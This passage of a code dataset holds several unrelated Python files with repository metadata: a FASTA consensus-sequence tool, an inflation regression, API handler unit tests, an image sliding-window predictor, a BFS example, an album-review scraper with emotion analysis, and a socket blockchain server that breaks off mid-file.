1.0 2016/11/9 19:05:04 初始版本\n Version 1.1 2016/11/9 20:20:04 输出格式从csv改为excel\n'''\n\nimport argparse\nimport os\nimport xlsxwriter as wx\n\n# 子例程\n# 按数目从多到少输出字符串中的字符\ndef Sort_Char_by_Num(seq_str):\n char_dict = {}\n for char in seq_str:\n if char not in char_dict:\n char_dict[char] = 0\n char_dict[char] += 1\n #按值降序排序,在值相等的情况下再按键升序排序\n sort_kv = sorted(char_dict.items(), key=lambda kv: (-kv[1], kv[0]))\n sort_chars = ''\n for kv in sort_kv:\n sort_chars += kv[0]\n return(sort_chars)\n# 26进制转换\ndef Num_2_AZ(num):\n twenty_six_dic = { 1:'A',2:'B',3:'C',4:'D',5:'E',6:'F',\n 7:'G',8:'H',9:'I',10:'J',11:'K',12:'L',\n 13:'M',14:'N',15:'O',16:'P',17:'Q',18:'R',\n 19:'S',20:'T',21:'U',22:'V',23:'W',24:'X',\n 25:'Y',26:'Z'}\n remainder_str = ''\n while num >= 1:\n rem = num % 26\n num = int(num/26)\n if rem == 0:\n rem = 26\n num = num - 1\n remainder_str += twenty_six_dic[rem]\n return(remainder_str[::-1])\n\n__version__ = '1.0'\n\n# 命令行参数\nparser = argparse.ArgumentParser()\nparser.add_argument(\n \"-i\",\n \"-in\",\n \"--input\",\n metavar=\"input_file\",\n dest=\"fasta_in\",\n required=True,\n type=str,\n help=\"file to input\")\nparser.add_argument(\n \"-o\",\n \"-out\",\n \"--output\",\n metavar=\"output_file\",\n dest=\"file_out\",\n default=\"tmp.consensus.seq.xlsx\",\n type=str,\n help=\"excel file to output, [tmp.consensus.seq.xlsx]\")\nparser.add_argument(\n \"-v\", \"--version\",\n action='version',\n help=\"The version of this program.\",\n version=\"Version: \" + __version__)\nargs = parser.parse_args()\n\ngene_list = [] #序列名列表\ngene_seq_dict = {} #序列字典\n\n#读取fasta序列\nwith open(args.fasta_in) as FAS:\n name = ''\n for line in FAS:\n line = line.strip()\n if line == '':\n continue\n if line[0] == \">\":\n name = line[1:]\n if name in gene_list:\n print(\"Not uniq name:\", name)\n else:\n gene_list.append(name)\n gene_seq_dict[name] = ''\n else:\n gene_seq_dict[name] += line\n\n#序列长度检查\nseq_length = len(gene_seq_dict[gene_list[0]])\nfor seq in gene_seq_dict.values():\n if len(seq) != seq_length:\n print(\"Please make sure the length of all sequence is the same!\")\n os._exit(0)\n\npos_base_str_list = [] #按位置将碱基存储到列表\nseq_num = len(gene_list)\nfor i in range(seq_length):\n pos_base_str_list.append('')\n for j in range(seq_num):\n pos_base_str_list[i] += gene_seq_dict[gene_list[j]][i]\n\nconsensus_seq = '' #一致序列\nfor seq in pos_base_str_list:\n base_max = Sort_Char_by_Num(seq)\n #consensus_seq += \",\"\n consensus_seq += base_max[0]\n\nexcel_name = args.file_out\nworkbook = wx.Workbook(excel_name)\nworksheet = workbook.add_worksheet()\nend_column = Num_2_AZ(1+seq_length)\ncolumn_range = \"B:%s\" %end_column\nworksheet.set_column(column_range, 2)\n\nrow_1 = ['consensus'] + list(consensus_seq)\nworksheet.write_row('A1', row_1)\n\ncolumn_count = 1\nfor gene in gene_list:\n out_str = ''\n column_count += 1\n for i in range(seq_length):\n if gene_seq_dict[gene][i] == consensus_seq[i]:\n out_str += '.'\n else:\n out_str +=gene_seq_dict[gene][i]\n row_out = [gene] + list(out_str)\n worksheet.write_row('A'+str(column_count), row_out)\nworkbook.close()","repo_name":"guochangjiang/Python.learn","sub_path":"Biopython/my.biopython/get.consensus.seq.by.aln.fas/get.consensus.seq.by.aln.fas.v1.1.py","file_name":"get.consensus.seq.by.aln.fas.v1.1.py","file_ext":"py","file_size_in_byte":4516,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"} +{"seq_id":"1110085668","text":"import csv\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.linear_model import LinearRegression\r\nfrom sklearn.preprocessing import PolynomialFeatures\r\nfrom sklearn.metrics import r2_score\r\nimport random\r\n\r\n\r\n\"\"\"\r\n================================\r\nFUNCTIONS:\r\n================================\r\n\"\"\"\r\n\r\n'''\r\ncall_data method\r\n\r\nThis method reads the csv file containing the data to be clustered and returns it as a list\r\n\r\nparam file_name String containing the name of the csv file to be read\r\n\r\nreturn data_list List of the relevant information on inflation vs time\r\n'''\r\n\r\ndef call_data(file_name):\r\n\r\n\t#data store as a tuple (year, inflation of that year) added into a list\r\n\twith open(f'{file_name}.csv','r') as csv_file:\r\n\t csv_reader = csv.reader(csv_file, delimiter=',')\r\n\t line_count = 0\r\n\t data_list = []\r\n\r\n\t #for each row in the file, add the country and data as tuple to the list\r\n\t for row in csv_reader:\t \t\r\n\t \t \r\n\t \tif line_count == 0: \r\n\t \tline_count += 1\r\n\t \telse:\r\n\t \t\t\r\n\t \t\tif len(row)>0:\r\n\r\n\t \t\t\tdata_list.append((int(row[0]),float(row[1])))\r\n\t \t\t\r\n\t \t\t\r\n\t \t\tline_count += 1\t \t\t\r\n\r\n\treturn data_list\r\n\r\n\r\n\"\"\"\r\n================================\r\nPROGRAM IMPLEMENTATION:\r\n================================\r\n\"\"\"\r\n\r\n#Calling reading and saving the relevant data file\r\n#retrieving the information from the entry boxes\t\r\ndata = call_data('South Africa - Inflation over time')\r\n\r\n#Randomising the data set so that the training and test sets are mixed\r\nrandom.shuffle(data)\r\n\r\n#Creating the x and y sets from the dataset\r\ndata_X = []\r\ndata_Y =[]\r\nfor row in data:\r\n\tdata_X.append(row[0])\r\n\tdata_Y.append(row[1])\r\n\r\n#creating the training data\r\nx_train = np.array(data_X[:-10]).reshape(-1, 1)\r\ny_train = np.array(data_Y[:-10]).reshape(-1, 1)\r\n\r\n#creating the testing data\r\nx_test = np.array(data_X[-10:]).reshape(-1, 1)\r\ny_test = np.array(data_Y[-10:]).reshape(-1, 1)\r\n\r\n#setting the degree of polynomial to model with\r\npoly = PolynomialFeatures(degree = 3)\r\n\r\n#Creating the polynomial x test and training sets\r\nX_train_poly , X_test_poly = poly.fit_transform(x_train), poly.fit_transform(x_test)\r\n\r\n#Creating the linear regression model using the poly x sets\r\nmodel = LinearRegression()\r\nmodel = model.fit(X_train_poly, y_train)\r\n\r\n#finding the coeficient and intercetion values\r\ncoeff = model.coef_[0]\r\ninter = model.intercept_\r\n\r\n#Creating the regression equation\r\nx_axis = np.arange(1960,2020,0.1)\r\nregr = inter + coeff[1]*x_axis+coeff[2]*x_axis**2+coeff[3]*x_axis**3\r\n\r\n#checking the accuracy of the prediction model\r\nprediction = model.predict(X_test_poly)\r\nr2 = r2_score(prediction, y_test)\r\n\r\n#Displaying the R^2 fit value\r\nprint(r2)\r\n\r\n#Plotting the data\r\nplt.scatter(x_train,y_train, color = 'b', label = 'Training data')\r\nplt.scatter(x_test,y_test, color = 'g', label = 'Testing data')\r\nplt.plot(x_axis, regr, color = 'r', label = 'Regression')\r\n\r\n#Creating the graph titles and grid\r\nplt.title('SA inflation rate over time')\r\nplt.xlabel('Year')\r\nplt.ylabel('Inflation')\r\nplt.legend()\r\nplt.grid(True)\r\n\r\nplt.show()","repo_name":"Warren-Bradley/Polynomial-regression","sub_path":"poly.py","file_name":"poly.py","file_ext":"py","file_size_in_byte":3126,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"6261529939","text":"from json import dumps\nfrom unittest.mock import MagicMock\n\nimport pytest\n\nfrom squrl import ApiHandler\n\n\n@pytest.fixture(scope=\"function\")\ndef event():\n return {\n \"httpMethod\": \"UNKNOWN\",\n \"queryStringParameters\": \"{}\",\n \"body\": \"{}\"\n }\n\n\n@pytest.fixture(scope=\"function\")\ndef context():\n return {}\n\n\n@pytest.mark.parametrize(\"response\", [\n (\"test-body\"),\n (\"\"),\n (None)\n])\ndef test_get_response_ok(response):\n expected_response = {\n \"statusCode\": \"200\",\n \"body\": dumps(response),\n \"headers\": {\n \"Content-Type\": \"application/json\",\n },\n }\n actual_response = ApiHandler.get_response(response=response)\n\n assert expected_response == actual_response\n\n\ndef test_get_response_error():\n error = ValueError(\"test-error\")\n expected_response = {\n \"statusCode\": \"400\",\n \"body\": str(error),\n \"headers\": {\n \"Content-Type\": \"application/json\",\n },\n }\n actual_response = ApiHandler.get_response(error=error)\n\n assert expected_response == actual_response\n\n\n@pytest.mark.parametrize(\"method, url\", [\n (\"GET\", \"test-get\"),\n (\"POST\", \"test-post\"),\n (\"PUT\", \"test-put\"),\n (\"OTHER\", \"test-other\"),\n (\"\", \"\"),\n (None, None),\n])\ndef test_parse_event(event, method, url):\n event[\"httpMethod\"] = method\n\n if method == \"GET\":\n event[\"queryStringParameters\"] = dumps({\"url\": url})\n else:\n event[\"body\"] = dumps({\"url\": url})\n\n method, body = ApiHandler.parse_event(event)\n\n assert method == method\n assert body[\"url\"] == url\n\n\ndef test_call_handler(event, context):\n key = \"response\"\n mock_handler = MagicMock(return_value=key)\n api_handler = ApiHandler(mock_handler)\n response = api_handler(event, context)\n\n mock_handler.assert_called_once_with(event, context)\n assert response == key\n","repo_name":"jg75/squrl","sub_path":"tests/unit/test_api_handler.py","file_name":"test_api_handler.py","file_ext":"py","file_size_in_byte":1874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"8023423333","text":"\n\nimport numpy as np\n\nimport cv2\n\ndef imagePyramid(image, scale=1.5, minDim=(250, 140)):\n yield image\n \n while True:\n width = int(image.shape[1]/ scale)\n height = int(image.shape[0]/scale)\n dim = (width, height)\n image = cv2.resize(image, dim)\n \n if image.shape[0] < minDim[1] or image.shape[1] < minDim[0]:\n break\n \n yield image\n\n\ndef boundingBox(image, imHeight, imWidth, stepSize, boxSize):\n for height in range(0, imHeight, stepSize):\n for width in range(0, imWidth, stepSize):\n yield(width, height, image[height: height+boxSize[1], width:width+boxSize[0]])\n\ndef predictAverage(im, model):\n print('Predicting Average of Image...')\n imHeight, imWidth = im.shape[0], im.shape[1]\n \n boxWidth = 150\n boxHeight = 150\n total_box = 0\n num_box = 0\n scalar = 1\n for scaleImage in imagePyramid(im, scale=1.25):\n scalar = 1.25 * scalar\n for(x,y,box) in boundingBox(scaleImage, imHeight, imWidth, stepSize=32, boxSize=(boxWidth, boxHeight)):\n if box.shape[0] != boxHeight or box.shape[1] != boxWidth:\n continue\n \n clone = scaleImage.copy()\n box = clone[y: y+boxWidth, x:x+boxHeight]\n showBox = cv2.resize(box, (50, 50))\n reshapeBox = showBox\n reshapeBox = np.reshape(reshapeBox, [-1, 50, 50, 3])\n reshapeBox = reshapeBox/255.0\n \n predict = model.predict(reshapeBox)\n if(predict[0] < .96): \n total_box = total_box + y * scalar\n num_box += 1\n cv2.rectangle(im, (x,y), (x + boxWidth, y + boxHeight), (0, 0, 255), 2)\n cv2.imwrite('predicted2.jpg', im)\n \n \n \n cv2.imwrite('predictedStage3.jpg', im)\n \n\n\n\n return(int(total_box/num_box))\n'''\nmodel = load_model('model.h5')\n\nim = im/255.0\n\n'''","repo_name":"kylmcani95/CornHeightPrediction","sub_path":"predictFrame.py","file_name":"predictFrame.py","file_ext":"py","file_size_in_byte":1968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"3063310928","text":"# We need to create a dictionary for the illustrated graph.\r\ngraph = {\r\n '0' : ['1','2'],\r\n '1' : ['2', '4'],\r\n '2' : ['3'],\r\n '3' : ['4'],\r\n '4' : [],\r\n}\r\n# Then we create an empty List to save the visited nodes and track the visited nodes.\r\n\r\nvisited = []\r\n\r\n# Creating an empty list for Keeping track of the current nodes in the queue\r\n\r\nqueue = [] \r\n\r\n# function for BFS( The arguments for this function are: the graph, visited nodes and the starting node.\r\n \r\ndef bfs(visited, graph, node): \r\n visited.append(node)\r\n queue.append(node)\r\n# Creating loop to visit each node\r\n while queue: \r\n m = queue.pop(0)\r\n print (m, end = \" \")\r\n\r\n for neighbour in graph[m]:\r\n if neighbour not in visited:\r\n visited.append(neighbour)\r\n queue.append(neighbour)\r\n\r\n# Driver Code\r\nprint(\"The Breadth-First Search is as follow\")\r\nbfs(visited, graph, '0') # function calling\r\n\r\n\r\n","repo_name":"NedaMhv/graph","sub_path":"graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"75378199460","text":"from bs4 import BeautifulSoup\r\nimport requests\r\nimport time\r\nimport pickle\r\nimport azapi\r\nfrom langdetect import detect\r\nfrom APIs.spotify_api import get_track_valence_arousal\r\nimport spotipy\r\nfrom utilities.keys import spotify_cid, spotify_secret, custom_api, google_api # , youtube_key\r\nfrom spotipy.oauth2 import SpotifyClientCredentials\r\nfrom APIs.youtube_api import search_track\r\nfrom googleapiclient.discovery import build\r\nfrom Emotion.EmotionAnalysis import predict_emotion\r\nfrom Mood.MoodDetection import predict_lyric_mood\r\nfrom lyrics_extractor import SongLyrics\r\nfrom utilities.keys import yt_keys\r\nimport pymongo\r\n\r\ncid = spotify_cid\r\nsecret = spotify_secret\r\nclient_credentials_manager = SpotifyClientCredentials(client_id=cid, client_secret=secret)\r\nsp = spotipy.Spotify(client_credentials_manager=client_credentials_manager)\r\n\r\nextract_lyrics = SongLyrics(custom_api, google_api) # Google Custom Search Engine for Lyrics Scraping\r\n\r\n# Scrapes an individual user review\r\ndef users_review(user):\r\n user_name = user.find(itemprop='name').contents[0]\r\n user_album_rating = user.find(itemprop='ratingValue').contents[0]\r\n\r\n user_review = user.find(class_='albumReviewText user')\r\n\r\n # If not : the whole text is not visible and the 'view more' page must be scrapped\r\n if user_review.find('a') is None:\r\n user_review_text = user_review.contents[0]\r\n if not user_review_text == []:\r\n try:\r\n if detect(user_review_text) == 'en':\r\n user_emotion = predict_emotion([user_review_text], False)\r\n else:\r\n return 'not english'\r\n except:\r\n return 'not english'\r\n else:\r\n return 'empty'\r\n else:\r\n full_review_link = 'https://www.albumoftheyear.org' + \\\r\n user.find(class_='albumReviewText user').find('a').get('href')\r\n user_full_review_link = requests.get(full_review_link)\r\n user_review_soup = BeautifulSoup(user_full_review_link.content, 'html.parser')\r\n user_review_text = user_review_soup.find(class_='userReviewText').contents[0]\r\n if not user_review_text == []:\r\n try:\r\n if detect(user_review_text) == 'en':\r\n user_emotion = predict_emotion([user_review_text], False)\r\n else:\r\n return 'not english'\r\n except:\r\n return 'not english'\r\n else:\r\n return 'empty'\r\n\r\n user_dict = {\"user name\": user_name,\r\n \"rating\": user_album_rating,\r\n \"review\": user_review_text,\r\n \"review anger\": user_emotion['anger'],\r\n \"review joy\": user_emotion['joy'],\r\n \"review love\": user_emotion['love'],\r\n \"review sadness\": user_emotion['sadness'],\r\n \"review surprise\": user_emotion['surprise'],\r\n \"review sentiment\": user_emotion['sentiment']\r\n }\r\n return user_dict\r\n\r\n\r\n# Scrapes information and user review/ratings of an album\r\ndef album_review(album):\r\n client = pymongo.MongoClient(\"mongodb://localhost:27017/\")\r\n db = client[\"hearm\"]\r\n\r\n col_album = db[\"albums_aoty\"]\r\n col_reviewers = db[\"reviewers_aoty\"]\r\n col_raters = db[\"raters_aoty\"]\r\n\r\n album_res = album.find_all('a')\r\n album_date = album.find(class_='albumListDate').contents[0]\r\n\r\n link = 'https://www.albumoftheyear.org' + album_res[0].get('href')\r\n\r\n # ----------------------------- ALBUM PAGE -----------------------------\r\n\r\n album_page = requests.get(link)\r\n soup_album = BeautifulSoup(album_page.content, 'html.parser')\r\n album_results = soup_album.find(id='centerContent')\r\n\r\n artist_name = soup_album.find(class_='artist').find(itemprop='name').contents[0]\r\n album_title = soup_album.find(class_='albumTitle').find(itemprop='name').contents[0]\r\n album_details = album_results.find(class_='albumTopBox info')\r\n\r\n print(' ### Scraping Artist : ', artist_name, ' ### ')\r\n print(' ### Album Title : ', album_title, ' ### ')\r\n\r\n ad_items = album_details.find_all(itemprop=\"genre\")\r\n album_genres = []\r\n for ad_item in ad_items:\r\n album_genres.append(ad_item.contents[0])\r\n\r\n album_track_list = album_results.find(class_='trackList').contents[0]\r\n album_track_list = [a.text.strip() for a in album_track_list.find_all('li')] # Remove html tags\r\n\r\n try:\r\n total_critic_rating = soup_album.find(class_='albumCriticScore').find('a').contents[0]\r\n except:\r\n total_critic_rating = 0\r\n try:\r\n total_user_rating = soup_album.find(class_='albumUserScore').find('a').contents[0]\r\n except:\r\n total_user_rating = 0\r\n try:\r\n total_num_ratings = \\\r\n soup_album.find(class_='albumUserScoreBox').find(class_='text numReviews').find('strong').contents[0]\r\n except:\r\n total_num_ratings = 0\r\n\r\n tf_vector = pickle.load(open('Mood\\\\final_tfidf2.sav', 'rb'))\r\n mood_model = pickle.load(open('Mood\\\\final_LR2.sav', 'rb'))\r\n\r\n API = azapi.AZlyrics(accuracy=0.5)\r\n API.artist = artist_name\r\n\r\n album_info = {\r\n 'Album Name': album_title,\r\n 'Artist Name': artist_name,\r\n 'Genres': album_genres,\r\n 'Track List': album_track_list,\r\n 'Release Date': album_date,\r\n 'Total Critic Rating': total_critic_rating,\r\n 'Total Audience Rating': total_user_rating,\r\n 'Total Number of User Ratings': total_num_ratings\r\n }\r\n album_features = {\r\n 'L_relaxed_mood': 0, 'L_happy_mood': 0, 'L_sad_mood': 0, 'L_angry_mood': 0,\r\n 'L_anger': 0, 'L_fear': 0, 'L_joy': 0, 'L_sadness': 0, 'L_surprise': 0, 'L_love': 0, 'L_sentiment': 0,\r\n 'M_valence': 0, 'M_arousal': 0,\r\n 'V_anger': 0, 'V_fear': 0, 'V_joy': 0, 'V_sadness': 0, 'V_surprise': 0, 'V_love': 0, 'V_sentiment': 0,\r\n 'V_view_count': 0\r\n }\r\n\r\n # ----------------------------- Track - Level Analysis -----------------------------\r\n for track in album_track_list:\r\n print(' ', track + \" !\")\r\n API.title = track\r\n try:\r\n Lyrics = API.getLyrics(save=False) # save=True, ext='txt', path='lyrics'\r\n except:\r\n Lyrics = 1\r\n\r\n if not Lyrics == 1:\r\n L_mood = predict_lyric_mood(Lyrics, mood_model, tf_vector)\r\n album_features[L_mood] = album_features.get(L_mood, 0) + 1\r\n\r\n L_emotions = predict_emotion([Lyrics], False)\r\n for Lem in L_emotions:\r\n album_features['L_' + Lem] = album_features['L_' + Lem] + L_emotions[Lem]\r\n\r\n # Alternative Source of Lyric Scraping. Custom Google Search Engine for Lyrics\r\n else:\r\n try:\r\n google_lyrics = extract_lyrics.get_lyrics(artist_name + ' ' + track)\r\n L_mood = predict_lyric_mood(google_lyrics['lyrics'], mood_model, tf_vector)\r\n album_features[L_mood] = album_features.get(L_mood, 0) + 1\r\n\r\n L_emotions = predict_emotion([google_lyrics['lyrics']], False)\r\n for Lem in L_emotions:\r\n album_features['L_' + Lem] = album_features['L_' + Lem] + L_emotions[Lem]\r\n except:\r\n print('lyrics for : ', track, ' were not found!')\r\n pass\r\n\r\n M_valence, M_arousal = get_track_valence_arousal(sp, artist_name, track)\r\n album_features['M_valence'] = album_features.get('M_valence', 0) + M_valence\r\n album_features['M_arousal'] = album_features.get('M_arousal', 0) + M_arousal\r\n\r\n try:\r\n V_emotion, V_view_count = search_track(youtube_object, artist_name + ' ' + track)\r\n if V_emotion != 0:\r\n for em in V_emotion:\r\n album_features['V_' + em] = album_features.get('V_' + em, 0) + V_emotion[em]\r\n album_features['V_view_count'] = album_features['V_view_count'] + int(V_view_count)\r\n except:\r\n print(' Youtube API Error!')\r\n print(' Break!')\r\n print(' Stopped on album : ', album_title, 'by artist : ', artist_name)\r\n return 0\r\n\r\n print('Before scraping the next song : Sleep for 5')\r\n time.sleep(5)\r\n\r\n if len(album_track_list) > 0:\r\n for i in album_features:\r\n if i != 'V_view_count':\r\n album_features[i] = float(album_features[i] / len(album_track_list))\r\n\r\n album_info.update(album_features)\r\n\r\n try:\r\n col_album.insert_one(album_info)\r\n print(' Inserted One : Album')\r\n except pymongo.errors.DuplicateKeyError:\r\n print(' --- Exception: Error at Album Insertion --- ')\r\n album_info.pop('_id')\r\n album_info.pop('Track List')\r\n\r\n print('Scraped Album : Sleep for 10')\r\n time.sleep(10)\r\n\r\n # ----------------------------- USER REVIEWS PAGE -----------------------------\r\n try:\r\n users_link = 'https://www.albumoftheyear.org' + \\\r\n soup_album.find(id='users').find(class_='viewAll').find('a').get('href')\r\n users_page = requests.get(users_link)\r\n users_soup = BeautifulSoup(users_page.content, 'html.parser')\r\n page_count_users = 1\r\n user_that_reviewed = []\r\n\r\n # Scrape User-Review pages\r\n while True:\r\n if page_count_users == 1:\r\n users_all = users_soup.find_all(class_='albumReviewRow')\r\n page_count_users += 1\r\n if not users_all == []:\r\n for u in users_all:\r\n try:\r\n user_dict_reviews = users_review(u)\r\n if not user_dict_reviews == 'not english' and not user_dict_reviews == 'empty':\r\n user_that_reviewed.append(user_dict_reviews['user name'])\r\n user_dict_reviews.update(album_info)\r\n try:\r\n col_reviewers.insert_one(user_dict_reviews)\r\n except pymongo.errors.DuplicateKeyError:\r\n pass\r\n else:\r\n # print('Empty or Non-English review. Was not inserted.')\r\n pass\r\n except:\r\n # print('Error at Inserting Reviewer')\r\n pass\r\n\r\n elif not users_soup.find(class_='pageSelect next') is None:\r\n print('Reviewers : Sleep for 5')\r\n time.sleep(5)\r\n if users_soup.find(class_='pageSelect next').contents[0] == 'Next':\r\n page_count_users += 1\r\n users_link = 'https://www.albumoftheyear.org' + \\\r\n soup_album.find(id='users').find(class_='viewAll').find('a').get('href') + '?p=' + \\\r\n str(page_count_users)\r\n users_page = requests.get(users_link)\r\n users_soup = BeautifulSoup(users_page.content, 'html.parser')\r\n users_all = users_soup.find_all(class_='albumReviewRow')\r\n if not users_all == []:\r\n for u in users_all:\r\n try:\r\n user_dict_reviews = users_review(u)\r\n if not user_dict_reviews == 'not english' and not user_dict_reviews == 'empty':\r\n user_that_reviewed.append(user_dict_reviews['user name'])\r\n user_dict_reviews.update(album_info)\r\n try:\r\n col_reviewers.insert_one(user_dict_reviews)\r\n\r\n except pymongo.errors.DuplicateKeyError:\r\n # print('Exception: Reviewer Insert')\r\n pass\r\n else:\r\n # print('Empty or Non English review. Was not inserted.')\r\n pass\r\n except:\r\n # print('Error at Inserting Reviewer')\r\n pass\r\n else:\r\n break\r\n except:\r\n print(' Error in USER - REVIEW page! Skip this section!')\r\n\r\n # ----------------------------- USER RATING PAGE -----------------------------\r\n\r\n def raters(users_rt, already_reviewed, album_data, page_count):\r\n if not users_rt == []:\r\n for user in users_rt:\r\n user_name = user.find(class_='userName').find('a').contents[0]\r\n user_rating = user.find(class_='rating').contents[0]\r\n if user_name not in already_reviewed:\r\n user_dict_ratings = {\"user name\": user_name, \"rating\": user_rating}\r\n user_dict_ratings.update(album_data)\r\n try:\r\n col_raters.insert_one(user_dict_ratings)\r\n except pymongo.errors.DuplicateKeyError:\r\n pass\r\n # print('Exception: Rater Insert')\r\n else:\r\n # print(user_name, ' is already in reviewers')\r\n pass\r\n\r\n # print('Scraped Reviewers' Page : Sleep for 10')\r\n time.sleep(10)\r\n\r\n user_rating_page_count = 1\r\n try:\r\n while True:\r\n if user_rating_page_count == 1:\r\n try:\r\n users_ratings_link = 'https://www.albumoftheyear.org' + \\\r\n soup_album.find(id='users').find(class_='viewAll').find('a').get('href') \\\r\n + '?p=' + str(user_rating_page_count) + '&type=ratings'\r\n except:\r\n link = link[:-4]\r\n users_ratings_link = link + '/user-reviews/' + '?type=ratings'\r\n\r\n users_rating_page = requests.get(users_ratings_link)\r\n users_rating_soup = BeautifulSoup(users_rating_page.content, 'html.parser')\r\n users_all_ratings = users_rating_soup.find_all(class_='userRatingBlock')\r\n user_rating_page_count += 1\r\n try:\r\n raters(users_all_ratings, user_that_reviewed, album_info, user_rating_page_count)\r\n except:\r\n # print('Could Not Insert : Rater')\r\n pass\r\n\r\n elif not users_rating_soup.find(class_='pageSelect next') is None:\r\n time.sleep(5)\r\n # print('Raters: Sleep for 5')\r\n if users_rating_soup.find(class_='pageSelect next').contents[0] == 'Next':\r\n user_rating_page_count += 1\r\n users_ratings_link = 'https://www.albumoftheyear.org' + \\\r\n soup_album.find(id='users').find(class_='viewAll').find('a').get('href') \\\r\n + '?p=' + str(user_rating_page_count) + '&type=ratings'\r\n\r\n users_rating_page = requests.get(users_ratings_link)\r\n users_rating_soup = BeautifulSoup(users_rating_page.content, 'html.parser')\r\n users_all_ratings = users_rating_soup.find_all(class_='userRatingBlock')\r\n try:\r\n raters(users_all_ratings, user_that_reviewed, album_info, user_rating_page_count)\r\n except:\r\n # print('Could Not Insert : Rater')\r\n pass\r\n else:\r\n break\r\n except:\r\n print(' Error at Scraping USER RATINGS page! Skip this section')\r\n pass\r\n return 1\r\n # ----------------------------- END -----------------------------\r\n\r\n\r\n# ----------------------------- MAIN -----------------------------\r\n\r\n# Year 2020 : Pages 1 to 28 are done!\r\n# Year 2019 : Pages 1 to 31 are done!\r\n# Year 2018 : Pages 1 to 34 are done!\r\nyear = 2017\r\npage_count_albums = 1\r\nURL = 'https://www.albumoftheyear.org/ratings/6-highest-rated/' + str(year) + '/' + str(page_count_albums)\r\npage = requests.get(URL)\r\nprint(page.status_code)\r\nsoup = BeautifulSoup(page.content, 'html.parser')\r\nresults = soup.find(id='centerContent')\r\n\r\nkey_value = 0 # 0 - 8\r\n\r\nYOUTUBE_API_SERVICE_NAME = \"youtube\"\r\nYOUTUBE_API_VERSION = \"v3\"\r\nyoutube_object = build(YOUTUBE_API_SERVICE_NAME, YOUTUBE_API_VERSION, developerKey=yt_keys[key_value])\r\n\r\nwhile True:\r\n if page_count_albums == 1:\r\n albums = results.find_all(class_='albumListRow')\r\n for index, Album in enumerate(albums):\r\n\r\n if 0 <= index <= 24:\r\n print('Album Index:', index, 'with Youtube Key: ', key_value)\r\n a = album_review(Album)\r\n if a == 0:\r\n print('--- Error at Page: ' + str(page_count_albums) + '! \\n at Index: ' + str(index) + '!')\r\n print('--- Last used key:', key_value, ' ---')\r\n key_value += 1\r\n print('--- Use next key: ', key_value, ' ---')\r\n\r\n print('--- Re-scrape the album where the error occurred ---')\r\n youtube_object = build(YOUTUBE_API_SERVICE_NAME, YOUTUBE_API_VERSION,\r\n developerKey=yt_keys[key_value])\r\n a = album_review(Album)\r\n if a == 0:\r\n print(\"------ Last Page: \", page_count_albums, ' ------')\r\n print(\"------ Last Item: \", index, ' ------')\r\n break\r\n\r\n print('New Album : Sleep for 5')\r\n time.sleep(5)\r\n\r\n if index == 24:\r\n page_count_albums += 1\r\n\r\n if results.find(class_='pageSelect next'):\r\n print('New Album Page : Sleep for 10')\r\n time.sleep(10)\r\n print('Scraping Album-Page: ', page_count_albums)\r\n URL = 'https://www.albumoftheyear.org/ratings/6-highest-rated/' + str(year) + '/' + str(page_count_albums)\r\n page = requests.get(URL)\r\n soup = BeautifulSoup(page.content, 'html.parser')\r\n results = soup.find(id='centerContent')\r\n albums = results.find_all(class_='albumListRow')\r\n for index, Album in enumerate(albums):\r\n if 0 <= index <= 24:\r\n print('Album Index:', index, 'with Youtube Key: ', key_value, ' ---')\r\n a = album_review(Album)\r\n if a == 0:\r\n print('--- Error at Page: ' + str(page_count_albums) + '! \\n at Index: ' + str(index) + '!')\r\n print('--- Last used key:', key_value, ' ---')\r\n key_value += 1\r\n print('--- Use next key: ', key_value, ' ---')\r\n\r\n print('--- Re-scrape the album where the error occurred ---')\r\n youtube_object = build(YOUTUBE_API_SERVICE_NAME, YOUTUBE_API_VERSION,\r\n developerKey=yt_keys[key_value])\r\n a = album_review(Album)\r\n if a == 0:\r\n print(\"------ Last Page: \", page_count_albums, ' ------')\r\n print(\"------ Last Item: \", index, ' ------')\r\n break\r\n\r\n print('New Album : Sleep for 5')\r\n time.sleep(5)\r\n\r\n if index == 24:\r\n page_count_albums += 1\r\n else:\r\n break\r\n\r\n if key_value > len(yt_keys):\r\n print(\"------ End of keys! ------\")\r\n print(\"------ Last Page: \", page_count_albums, ' ------')\r\n break\r\n","repo_name":"Datalab-AUTH/MSc-Papadopoulos-Stefanos-HEAR-Me","sub_path":"AoTY-scraper.py","file_name":"AoTY-scraper.py","file_ext":"py","file_size_in_byte":19827,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"28032011977","text":"import socket\nimport threading\nimport json\nimport threading\nimport time\nfrom blockchain import Block, Blockchain\n\n#blockchain initialization\nblockchain = Blockchain()\n\n#this function deals with the client sending messages to the server\ndef handle_client(connection, address, all_connections):\n print(f\"New connection from {address}\")\n # Handle client connection and messages here\n while True:\n try:\n message = connection.recv(1024).decode()\n if message:\n #add out message to blockchain\n new_block = Block(time.time(), message)\n blockchain.add_block(new_block)\n broadcast_blockchain(all_connections)\n else:\n break\n except:\n continue\n connection.close()\n\n#This function brodcasts blockchain updates to clients\ndef broadcast_blockchain(connections):\n for conn in connections:\n conn.send(json.dumps([block.__dict__ for block in blockchain.chain]).encode())\n\n#global variable for server listening loop\nrunning = True\n# Server loop function\ndef server_loop(server, all_connections):\n global running\n while running:\n try:\n server.settimeout(1) # Set a timeout for blocking operations\n client_conn, client_addr = server.accept()\n all_connections.append(client_conn)\n client_thread = threading.Thread(target=handle_client, args=(client_conn, client_addr, all_connections))\n client_thread.start()\n except socket.timeout:\n continue # Continue to check if the server is still running\n\n# Start the server\ndef start_server():\n global running\n\n # Server details\n host = 'localhost'\n port = 8001\n server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n server.bind((host, port))\n server.listen()\n all_connections = []\n\n # Confirmation message to ensure server is running\n print(f\"Server is listening on {host}:{port}\")\n\n # Start server loop in a separate thread\n server_thread = threading.Thread(target=server_loop, args=(server, all_connections))\n server_thread.start()\n\n try:\n while True:\n 